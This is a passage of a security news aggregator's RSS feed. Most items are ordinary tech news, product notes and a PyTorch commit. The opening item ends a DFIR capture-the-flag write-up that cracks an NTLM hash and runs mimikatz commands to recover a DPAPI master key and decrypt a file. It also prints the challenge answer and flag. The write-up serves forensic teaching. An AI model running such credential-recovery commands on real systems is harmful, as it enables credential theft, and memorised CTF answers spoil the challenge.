looking for NTLM hash for mhanyuser only</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/372/1*JfJNV72Qx6C0W85kkth7gA.png"></figure><p>using rainbow-table attack with <a href="https://crackstation.net/"><strong>crackstation</strong></a><strong> </strong>we can get the actual password for this hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*875TmuY5AXqNZCopsBFpOQ.png"><figcaption><strong>credentials</strong></figcaption></figure><p>now we get the logon password, let’s recover the master key by decrypting the masterkey file. with mimikatz again, we can use these commands</p><pre>sekurlsa::lgonpasswords   # Because we already have the logon password<br><br>dpapi::masterkey /in:"path to: C\Users\mhany\AppData\Roaming\Microsoft\Protect\&lt;SID&gt;\&lt;GUID&gt;" /password:"credentials"</pre><p>now we can get the decrypted master key in hex.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fXyi9YeGe-Ncpq76Mz4sVw.png"></figure><p>final step, is to finally decrypt the encrypted finance.xlsx<strong> </strong>file with the key</p><pre>dpapi::blob /in:"path to C:\Users\mhany\Desktop\Work\QR Tag\Docs\finance.xlsx" /masterkey:"d96486156b7651c31945791790941b62f180d198c06966e7e9568d594375c760cf528e6bf55a3bd6dc1bec079b38cbb569a222444ffce861b71a61330ddd1"</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*qhpnzdCAvttlY2pf8U0OMA.png"><figcaption><strong>FINALLY</strong></figcaption></figure><p>lets decode this encoded base64 data with cyberchef “<a href="https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)&amp;input=ZFhNeGJtZGZiVFJ6ZEROeVgyc3plVjkwTUY5a00yTnllWEIwWDBSUVFWQkpYMlZ1WTNKNWNIUXpaRjl6TTJOeU0zUno"><strong>link</strong></a>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*eCpSy434mV-LpDgh57IOVg.png"><figcaption>OMG!</figcaption></figure><pre>14) The developer used a security feature to securely encrypt a secret file. Can you determine what he was trying to hide?<br>Answer: us1ng_m4st3r_k3y_t0_d3crypt_DPAPI_encrypt3d_s3cr3ts</pre><p>now we can submit all answers and get the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lGNgwO5Dahi9uwAaHJqp4g.png"></figure><pre>IEEE{Ins1d3r_Thr34t_0r_Just_A_Mad_Dev3l0per}</pre><h4>Thanks For Reading, Hope you enjoyed❤️</h4><p>Keep in touch with me via:</p><p><a href="https://www.linkedin.com/in/loay-salah"><strong>LinkedIn</strong></a></p><p><strong>Discord</strong>: prankster99</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=3b49a1afe7f6" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/ieee-mansb-ctf-2025-dfir-writeup-3b49a1afe7f6">IEEE Victoris 4.0 — CTF 2025 — Quals DFIR Challenges</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[LINUX ALL ALTERNATIVES WHICH I CAN US FOR ROS]]></title>
<description><![CDATA[I have a laptop with good graphic card and cpu and I'm planning on learning skills related to robotics for jobs related to it i apparently heard linux is the best for ros and note I'm a complete beginner in this don't know much i recently bought a laptop and I am skeptical on dual booting still I...]]></description>
<link>https://tsecurity.de/de/3592666/linux-tipps/linux-all-alternatives-which-i-can-us-for-ros/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3592666/linux-tipps/linux-all-alternatives-which-i-can-us-for-ros/</guid>
<pubDate>Fri, 12 Jun 2026 08:58:47 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I have a laptop with good graphic card and cpu and I'm planning on learning skills related to robotics for jobs related to it i apparently heard linux is the best for ros and note I'm a complete beginner in this don't know much i recently bought a laptop and I am skeptical on dual booting still Is there any other options which I could use for permanent solution because I hear vm ain't the best way to do it and I play games as well so I do require windows as they all have a anti cheat type software </p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Original-Seesaw-4804"> /u/Original-Seesaw-4804 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1u3nvko/linux_all_alternatives_which_i_can_us_for_ros/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1u3nvko/linux_all_alternatives_which_i_can_us_for_ros/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[trunk/1807281cecd9a6506a8156e27d02dd50440e7235: [Inductor] Fix TMA compat to check returned options, not class (#185983)]]></title>
<description><![CDATA[Summary:
[Inductor] Fix TMA compat to check returned options, not class
Summary
Fix a bug in the TMA compatibility check that prevented backends from falling back to BlockPtrOptions, causing unwanted scalar-pointer fallbacks and PE timeouts.
Problem
The TMA compatibility check at triton.py:3595 u...]]></description>
<link>https://tsecurity.de/de/3592069/downloads/trunk1807281cecd9a6506a8156e27d02dd50440e7235-inductor-fix-tma-compat-to-check-returned-options-not-class-185983/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3592069/downloads/trunk1807281cecd9a6506a8156e27d02dd50440e7235-inductor-fix-tma-compat-to-check-returned-options-not-class-185983/</guid>
<pubDate>Fri, 12 Jun 2026 01:45:56 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Summary:<br>
[Inductor] Fix TMA compat to check returned options, not class</p>
<p><strong>Summary</strong><br>
Fix a bug in the TMA compatibility check that prevented backends from falling back to BlockPtrOptions, causing unwanted scalar-pointer fallbacks and PE timeouts.</p>
<p><strong>Problem</strong><br>
The TMA compatibility check at triton.py:3595 used <code>issubclass(options_class, TensorDescriptorOptions)</code> on the <em>queried</em> class instead of the <em>returned</em> options. When backends like MTIA override <code>TensorDescriptorOptions.create</code> to fall back to <code>BlockPtrOptions</code> (for shapes incompatible with hardware layout), the check incorrectly fired anyway, rejecting block params and triggering Triton's scalar-pointer fallback.</p>
<p><strong>Solution</strong><br>
Changed to <code>isinstance(options, TensorDescriptorOptions)</code> to check the actual returned type. Now when a backend's <code>create</code> returns <code>BlockPtrOptions</code>, the TMA check is correctly skipped, allowing the block pointer to flow to <code>codegen_block_ptr</code> and backends to register autotune metadata (e.g., MTIA's <code>inner_blocks</code> for bump-to-minimum heuristic).</p>
<p><strong>Impact</strong></p>
<ul>
<li>Fixes PE timeouts caused by unwanted scalar-pointer fallbacks</li>
<li>Enables backends to properly use their custom autotune heuristics</li>
<li>Small change (1 line in 2 files) with targeted fix</li>
</ul>
<p>Test Plan:</p>
<ul>
<li>Ran <code>buck2 test fbcode//mode/opt fbcode//mtia/compiler/graph_compiler/inductor/test:test_inductor_kernels -- --regex 'test_bump_block_size'</code></li>
<li>Before fix: XBLOCK=2 for int8/float16/float32 (heuristic skipped because <code>inner_blocks</code> empty)</li>
<li>After fix: XBLOCK bumped to 32/16/8 per dtype, matching the 32-byte hardware floor</li>
<li><strong>TODO: Paste full test output showing the XBLOCK values before/after</strong></li>
</ul>
<p>Differential Revision: D106090810</p>
<p>Pull Request resolved: <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4574397097" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/185983" data-hovercard-type="pull_request" data-hovercard-url="/pytorch/pytorch/pull/185983/hovercard" href="https://github.com/pytorch/pytorch/pull/185983">#185983</a><br>
Approved by: <a href="https://github.com/blaine-rister">https://github.com/blaine-rister</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple’s Mac Studio Cheat Sheet: Features, Pricing, Specs, and More]]></title>
<description><![CDATA[Learn what the Mac Studio is, how much it costs, M4 Max vs. M3 Ultra differences, key specs, use cases, limitations, and buying advice.
The post Apple’s Mac Studio Cheat Sheet: Features, Pricing, Specs, and More appeared first on TechRepublic.]]></description>
<link>https://tsecurity.de/de/3591862/it-nachrichten/apples-mac-studio-cheat-sheet-features-pricing-specs-and-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3591862/it-nachrichten/apples-mac-studio-cheat-sheet-features-pricing-specs-and-more/</guid>
<pubDate>Thu, 11 Jun 2026 23:17:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Learn what the Mac Studio is, how much it costs, M4 Max vs. M3 Ultra differences, key specs, use cases, limitations, and buying advice.</p>
<p>The post <a href="https://www.techrepublic.com/article/news-apple-mac-studio-cheat-sheet/">Apple’s Mac Studio Cheat Sheet: Features, Pricing, Specs, and More</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How I Built a Burp Extension Efficiently with Claude]]></title>
<description><![CDATA[The hardest part of building a Burp extension used to be the code — now it’s just coming up with the idea.I recently used Claude to create a Burp Extension that highlights nonstandard HTTP Headers to help security researchers identify potential vectors for injection.Simply prompting Claude gave i...]]></description>
<link>https://tsecurity.de/de/3591626/hacking/how-i-built-a-burp-extension-efficiently-with-claude/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3591626/hacking/how-i-built-a-burp-extension-efficiently-with-claude/</guid>
<pubDate>Thu, 11 Jun 2026 21:05:59 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fWvPJBaIeXu95_yEFC5miQ.png"></figure><p>The hardest part of building a Burp extension used to be the code — now it’s just coming up with the idea.</p><p>I recently used Claude to create a <a href="https://github.com/Raymond-JV/header-hunter">Burp Extension</a> that highlights nonstandard HTTP Headers to help security researchers identify potential vectors for injection.</p><p>Simply prompting Claude gave inspiration for the extension. I learned that common HTTP headers exist in the <strong>IANA</strong> registry and can be used as a filter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JWP1dPlnyfLbwZNOTRAyPA.png"><figcaption>Brainstorming an idea</figcaption></figure><p>A few simple prompts allowed Claude to build a prototype from scratch.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vwPsKk_GWTjfvH5tg17RrQ.png"></figure><p>Claude suggests using <strong>Montoya API</strong>, the newer extension framework from Portswigger.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*loajA3xovclnsrk-fXWL4Q.png"><figcaption>Creating a prototype</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1k7QOmqRXJZCH5lRPuMprg.png"><figcaption>Highlighted requests</figcaption></figure><p>Ironically, the final 20% of fine tuning took the longest time. I simply suggested small features and implemented them gradually until the project was finished.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E-wDhKi_zjfVNwcl5g55Lw.png"><figcaption>Adding a configuration tab</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aKxJOvWVgCFvLmVEFnvn4g.png"><figcaption>Configuration Tab</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YAG_zyP08SZROd7WCwWtxA.png"><figcaption>Including support for adding and removing wordlists</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rgnEOKi5cTdy6RflAtniRQ.png"><figcaption>Updated repository</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UbI8NiV1twGEa9dFU4cjNQ.png"><figcaption>Including regex patterns in filter</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wa_wiyGJ3bGWDo_dQTUUkA.png"><figcaption>Updated configuration</figcaption></figure><p>Building this extension with Claude was fast and fun. It felt like I was having a conversation most of the time.</p><p>Though, a word of caution, near the end I did encounter a few bugs that Claude couldn’t resolve. It is important that you know how to code well and are capable of manual analysis else you will hit a brick wall when things become too complex.</p><p><a href="https://github.com/Raymond-JV/header-hunter">Raymond-JV/header-hunter: Burp Suite extension that automatically flags non-standard HTTP headers in proxy traffic, helping you spot custom application headers that may reveal internal infrastructure, debug endpoints, or attack surface.</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=85d43817b8f3" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-built-a-burp-extension-efficiently-with-claude-85d43817b8f3">How I Built a Burp Extension Efficiently with Claude</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Introducing the ability to loop over a list of items in Workspace Studio]]></title>
<description><![CDATA[We are introducing the ability to loop over a list of items in Google Workspace Studio flows, bringing more power and flexibility to your everyday workflows. As part of this, the Ask Gemini step has a new configuration section called Response format where you can decide if the output of the step ...]]></description>
<link>https://tsecurity.de/de/3589210/web-tipps/introducing-the-ability-to-loop-over-a-list-of-items-in-workspace-studio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3589210/web-tipps/introducing-the-ability-to-loop-over-a-list-of-items-in-workspace-studio/</guid>
<pubDate>Thu, 11 Jun 2026 01:54:46 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[We are introducing the ability to loop over a list of items in Google Workspace Studio flows, bringing more power and flexibility to your everyday workflows. As part of this, the <b>Ask Gemini</b> step has a new configuration section called <b>Response format</b> where you can decide if the output of the step should be in text or list format. When list format is selected, the new step <b>Repeat for each</b> can be used so that the flow can loop over the items of that list.<div><br></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container"><tbody><tr><td><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUvJ_8kl2pEAnX_GfsP5bY1iZ2A7PgSEKa2AwFvqpVKrfqqJ0TnBzFIZvzM1GN_jLHekRnqmMaIERGLsCIEUbF0GCXKSOEDN8fBF6eg0EplpMQTd6RSN05zu8dnP_mo-aYWsP3TDS5LyBAgVz7gvXiKgOX2M1wj359BxRT5DEZ-KdS3ex6tLGYJwD-158/s2048/Introducing%20the%20ability%20to%20loop%20over%20a%20list%20of%20items%20in%20Workspace%20Studio%20-%206937.png"><img border="0" data-original-height="1146" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUvJ_8kl2pEAnX_GfsP5bY1iZ2A7PgSEKa2AwFvqpVKrfqqJ0TnBzFIZvzM1GN_jLHekRnqmMaIERGLsCIEUbF0GCXKSOEDN8fBF6eg0EplpMQTd6RSN05zu8dnP_mo-aYWsP3TDS5LyBAgVz7gvXiKgOX2M1wj359BxRT5DEZ-KdS3ex6tLGYJwD-158/s16000/Introducing%20the%20ability%20to%20loop%20over%20a%20list%20of%20items%20in%20Workspace%20Studio%20-%206937.png"></a></td></tr><tr><td class="tr-caption"><i>Select List in Response format to be able to loop over a list in the flow</i></td></tr></tbody></table><div><div><br></div><div>The <b>Repeat for each</b> step can also be used to loop over Google Sheet data row by row and run substeps.</div><div><br></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container"><tbody><tr><td><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNeLwYwDnnmqbX4tqhe_VP1znp-nrUMYSpZQvOfcjkK6x6eCMcrJNnYWv-4854C0n8b096KkNSrFU4LiirUZt35ssrhyphenhyphennjFjocLG3itn5ft5YbfbD9O83jrY8aQ1DtLsypbgyyTYjYghrKpG1-N4sfu2XMhhShC_ohi9G803f-p2Fp0O2Uw9Y5XoWt8GU/s2048/Introducing%20the%20ability%20to%20loop%20over%20a%20list%20of%20items%20in%20Workspace%20Studio%20-%206937-2.png"><img border="0" data-original-height="1144" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNeLwYwDnnmqbX4tqhe_VP1znp-nrUMYSpZQvOfcjkK6x6eCMcrJNnYWv-4854C0n8b096KkNSrFU4LiirUZt35ssrhyphenhyphennjFjocLG3itn5ft5YbfbD9O83jrY8aQ1DtLsypbgyyTYjYghrKpG1-N4sfu2XMhhShC_ohi9G803f-p2Fp0O2Uw9Y5XoWt8GU/s16000/Introducing%20the%20ability%20to%20loop%20over%20a%20list%20of%20items%20in%20Workspace%20Studio%20-%206937-2.png"></a></td></tr><tr><td class="tr-caption"><i>Looping over data from a Sheet to draft an email for each person in the file</i></td></tr></tbody></table><div><br></div><div>This improvement unlocks new possibilities for many use cases, including:</div><div><br></div><div><ul><li>Create a task for each action item based on meeting notes.</li><li>Draft an email for each sales lead based on your sales tracker Google Sheet.</li></ul></div><h3>Getting started</h3><div><ul><li><b>Admins: </b>Visit the Help Center to <a href="https://knowledge.workspace.google.com/admin/studio/manage-access-to-steps-and-starters-in-workspace-studio" target="_blank">learn more about managing access to steps and starts in Workspace Studio</a>. </li><li><b>End users: </b>Try the feature in <a href="https://studio.workspace.google.com/" target="_blank">Google Workspace Studio</a>. Visit the Help Center to <a href="https://support.google.com/workspace-studio/answer/16765661?ref_topic=16431192&amp;sjid=2853051862223050020-EU" target="_blank">learn more about the Ask Gemini step</a>.</li></ul></div><h3>Rollout pace</h3><div><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release and Scheduled Release domains:</a> Full rollout (1–3 days for feature visibility) starting on June 2, 2026</li></ul></div><h3>Availability</h3><div><ul><li><b>Business: </b>Business Starter, Standard, and Plus</li><li><b>Enterprise:</b> Enterprise Standard and Plus</li><li><b>Education:</b> Education Fundamentals, Standard, and Plus</li><li><b>Education Add-ons:</b> Google AI Pro for Education; Teaching and Learning</li><li><b>Other Add-ons: </b>AI Expanded Access*</li></ul></div><div><i>*Starting July 1, 2026, users with AI Expanded Access licenses will have <a href="https://support.google.com/a?p=limits" target="_blank">higher limits on usage</a> of Workspace Studio.</i></div><h3>Resources</h3><div><ul><li>Google Workspace Admin Help: <a href="https://support.google.com/a/topic/16443963" target="_blank">Workspace Studio admin help</a></li><li>Workspace Studio Help: <a href="https://support.google.com/workspace-studio/#topic=16433255" target="_blank">Get Started with Workspace Studio</a></li><li>Google Workspace Learning Center: <a href="https://support.google.com/a/users/answer/16275487" target="_blank">Workspace Studio training and help</a></li><li>Google Workspace Blog: <a href="https://workspace.google.com/blog/product-announcements/introducing-google-workspace-studio-agents-for-everyday-work" target="_blank">Introducing Google Workspace Studio: Automate everyday work with AI agents </a></li><li>YouTube: <a href="https://www.youtube.com/playlist?list=PLDdffPXqmxKNtTUF7H3mab3HEnXzxRi8V" target="_blank">Google Workspace Studio Video Playlist</a></li><li>Discord Channel: <a href="https://discord.com/channels/1439825892833755370/1442898214184292402" target="_blank">Google Workspace Studio Discord</a></li></ul></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Nano Banana Cheat Sheet: Your Ultimate Guide to Google's AI Image Tools]]></title>
<description><![CDATA[Learn what Google Nano Banana is, how Nano Banana 2 and Pro compare, where to access them, and how to write better AI image prompts.]]></description>
<link>https://tsecurity.de/de/3588292/it-nachrichten/nano-banana-cheat-sheet-your-ultimate-guide-to-googles-ai-image-tools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3588292/it-nachrichten/nano-banana-cheat-sheet-your-ultimate-guide-to-googles-ai-image-tools/</guid>
<pubDate>Wed, 10 Jun 2026 18:19:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Learn what Google Nano Banana is, how Nano Banana 2 and Pro compare, where to access them, and how to write better AI image prompts.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Intelligence Cheat Sheet: A Complete Guide]]></title>
<description><![CDATA[Apple Intelligence is Apple’s suite of AI features, including writing tools, Genmoji, and live translation.
The post Apple Intelligence Cheat Sheet: A Complete Guide appeared first on TechRepublic.]]></description>
<link>https://tsecurity.de/de/3587960/it-nachrichten/apple-intelligence-cheat-sheet-a-complete-guide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3587960/it-nachrichten/apple-intelligence-cheat-sheet-a-complete-guide/</guid>
<pubDate>Wed, 10 Jun 2026 16:33:30 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Apple Intelligence is Apple’s suite of AI features, including writing tools, Genmoji, and live translation.</p>
<p>The post <a href="https://www.techrepublic.com/article/news-apple-intelligence-cheat-sheet/">Apple Intelligence Cheat Sheet: A Complete Guide</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Before Apple Releases iOS 27 This Fall, Here's Your iOS 26 Cheat Sheet]]></title>
<description><![CDATA[Don't forget to check out all these iOS 26 features before Apple releases the next iOS software later this year.]]></description>
<link>https://tsecurity.de/de/3587387/it-nachrichten/before-apple-releases-ios-27-this-fall-heres-your-ios-26-cheat-sheet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3587387/it-nachrichten/before-apple-releases-ios-27-this-fall-heres-your-ios-26-cheat-sheet/</guid>
<pubDate>Wed, 10 Jun 2026 13:03:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Don't forget to check out all these iOS 26 features before Apple releases the next iOS software later this year.]]></content:encoded>
</item>
<item>
<title><![CDATA[Kalshi will require employment info for some bets as an insider trading precaution]]></title>
<description><![CDATA[The rules may pose a minor hurdle for people who just have to cheat.]]></description>
<link>https://tsecurity.de/de/3586030/it-nachrichten/kalshi-will-require-employment-info-for-some-bets-as-an-insider-trading-precaution/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3586030/it-nachrichten/kalshi-will-require-employment-info-for-some-bets-as-an-insider-trading-precaution/</guid>
<pubDate>Tue, 09 Jun 2026 23:32:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The rules may pose a minor hurdle for people who just have to cheat.]]></content:encoded>
</item>
<item>
<title><![CDATA[CISA Adds Three Known Exploited Vulnerabilities to Catalog]]></title>
<description><![CDATA[CISA has added three new vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.

CVE-2026-7473 Arista Extensible Operating System Incomplete Comparison with Missing Factors Vulnerability
CVE-2026-11645 Google Chromium V8 Out-of-Bounds Read ...]]></description>
<link>https://tsecurity.de/de/3585861/it-security-nachrichten/cisa-adds-three-known-exploited-vulnerabilities-to-catalog/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3585861/it-security-nachrichten/cisa-adds-three-known-exploited-vulnerabilities-to-catalog/</guid>
<pubDate>Tue, 09 Jun 2026 21:35:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>CISA has added three new vulnerabilities to its <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">Known Exploited Vulnerabilities (KEV) Catalog</a>, based on evidence of active exploitation.</p>
<ul>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2026-7473" target="_blank">CVE-2026-7473</a> Arista Extensible Operating System Incomplete Comparison with Missing Factors Vulnerability</li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2026-11645" target="_blank">CVE-2026-11645</a> Google Chromium V8 Out-of-Bounds Read and Write Vulnerability</li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2026-20245" target="_blank">CVE-2026-20245</a> Cisco Catalyst SD-WAN Manager Improper Encoding or Escaping of Output Vulnerability</li>
</ul>
<p>These types of vulnerabilities are a frequent attack vector for malicious cyber actors and pose significant risks to the federal enterprise.</p>
<p><a href="https://www.cisa.gov/binding-operational-directive-22-01">Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities</a> established the KEV Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the <a href="https://www.cisa.gov/sites/default/files/publications/Reducing_the_Significant_Risk_of_Known_Exploited_Vulnerabilities_211103.pdf">BOD 22-01 Fact Sheet</a> for more information.</p>
<p>Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">KEV Catalog vulnerabilities</a> as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the <a href="https://www.cisa.gov/known-exploited-vulnerabilities">specified criteria</a>. </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Spielehersteller starten "Wettrüsten" an der Frontlinie der Cheat-Bekämpfung - 36氪]]></title>
<description><![CDATA[In Bezug auf Spiele wird Hacking in der Regel nicht auf das Verwenden von Datenmodifikatoren in Singleplayer-Spielen bezogen, sondern speziell auf ...]]></description>
<link>https://tsecurity.de/de/3585230/hacking/spielehersteller-starten-wettruesten-an-der-frontlinie-der-cheat-bekaempfung-36/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3585230/hacking/spielehersteller-starten-wettruesten-an-der-frontlinie-der-cheat-bekaempfung-36/</guid>
<pubDate>Tue, 09 Jun 2026 18:52:12 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In Bezug auf Spiele wird <b>Hacking</b> in der Regel nicht auf das Verwenden von Datenmodifikatoren in Singleplayer-Spielen bezogen, sondern speziell auf ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Spielehersteller starten "Wettrüsten" an der Frontlinie der Cheat-Bekämpfung - 36氪]]></title>
<description><![CDATA[In Bezug auf Spiele wird Hacking in der Regel nicht auf das Verwenden von Datenmodifikatoren in Singleplayer-Spielen bezogen, sondern speziell auf ...]]></description>
<link>https://tsecurity.de/de/3585039/hacking/spielehersteller-starten-wettruesten-an-der-frontlinie-der-cheat-bekaempfung-36/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3585039/hacking/spielehersteller-starten-wettruesten-an-der-frontlinie-der-cheat-bekaempfung-36/</guid>
<pubDate>Tue, 09 Jun 2026 17:53:17 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In Bezug auf Spiele wird Hacking in der Regel nicht auf das Verwenden von Datenmodifikatoren in Singleplayer-Spielen bezogen, sondern speziell auf ...]]></content:encoded>
</item>
<item>
<title><![CDATA[It’s the year of AI transformation for these three industries. Here’s why]]></title>
<description><![CDATA[For CIOs across every industry, enterprise AI is inescapable right now. Everyone has a pilot running, every conference has a keynote about transformation and every vendor is promising agents that will change everything.



But underneath the surface, I’ve noticed that the organizations making the...]]></description>
<link>https://tsecurity.de/de/3584095/it-security-nachrichten/its-the-year-of-ai-transformation-for-these-three-industries-heres-why/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3584095/it-security-nachrichten/its-the-year-of-ai-transformation-for-these-three-industries-heres-why/</guid>
<pubDate>Tue, 09 Jun 2026 12:09:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>For CIOs across every industry, enterprise AI is inescapable right now. Everyone has a pilot running, every conference has a keynote about transformation and every vendor is promising agents that will change everything.</p>



<p>But underneath the surface, I’ve noticed that the organizations making the most meaningful headway are clustering in three industries: financial services, industrials and healthcare. That’s because these sectors share a specific combination of factors that make them well-suited for what frontier LLMs in 2026 are best at. Each of these industries is drowning in unstructured data, their best people spend too much time on low-value, document-heavy work, and the underlying infrastructure is in place (cloud storage, APIs, data warehouses). All that’s been missing is a layer intelligent enough to put it to work, and now that layer exists.</p>



<h2 class="wp-block-heading">Financial services: Sitting on a goldmine</h2>



<p>Financial services has been data-rich and insight-poor for decades. The problem was never a lack of information, rather, that the information lived in PDFs, SharePoint sites and folders that nobody could easily access or analyze at scale. Resultingly, decisions were made without full context, compliance work was done manually under time pressure and senior people spent their hours on tasks that shouldn’t require their expertise. AI changes all of that.</p>



<p><a href="https://kpmg.com/us/en/articles/2025/unlocking-power-ai-private-equity.html" rel="nofollow">According to KPMG research</a>, 80% of PE leaders view generative AI as a critical component for gaining competitive advantage and market share. 91% believe AI has already strengthened their competitive position, and more than half are already seeing a return on their investment.</p>



<p>I spoke recently with a CIO at a large wealth management firm who described the moment it clicked for their team. They had been trying to figure out how to get their advisors to do more proactive outreach by reaching the right clients at the right moment rather than reacting slowly to inbound calls. The issue here was that pulling together existing information and context manually wasn’t something any advisor had time to do. So, they built an AI workflow that runs on a trigger each morning and analyzes client portfolios, market conditions and advisor notes. Then, it generates a prioritized outreach list with suggested talking points. It now runs across their entire book of business.</p>



<p>Here’s another example. I’ve seen multiple private equity firms using AI agents to generate portfolio summaries, extract data from quarterly reports and run fundamentals-based valuations. That’s work that used to consume analyst hours every week before an investment committee meeting.</p>



<p>What makes financial services ready for this moment is partly about infrastructure. Most institutions already have centralized document stores, CRMs and data warehouses. They don’t need to build the foundation. They need an intelligent layer on top of what already exists. The other factor is regulatory pressure: It’s not glamorous, but AI that can demonstrate auditability and consistency has a tangible advantage in compliance-heavy environments. Consistency is something humans, under volume and time pressure, struggle to deliver and it’s particularly important for financial institutions given the amount of sensitive data they work with.</p>



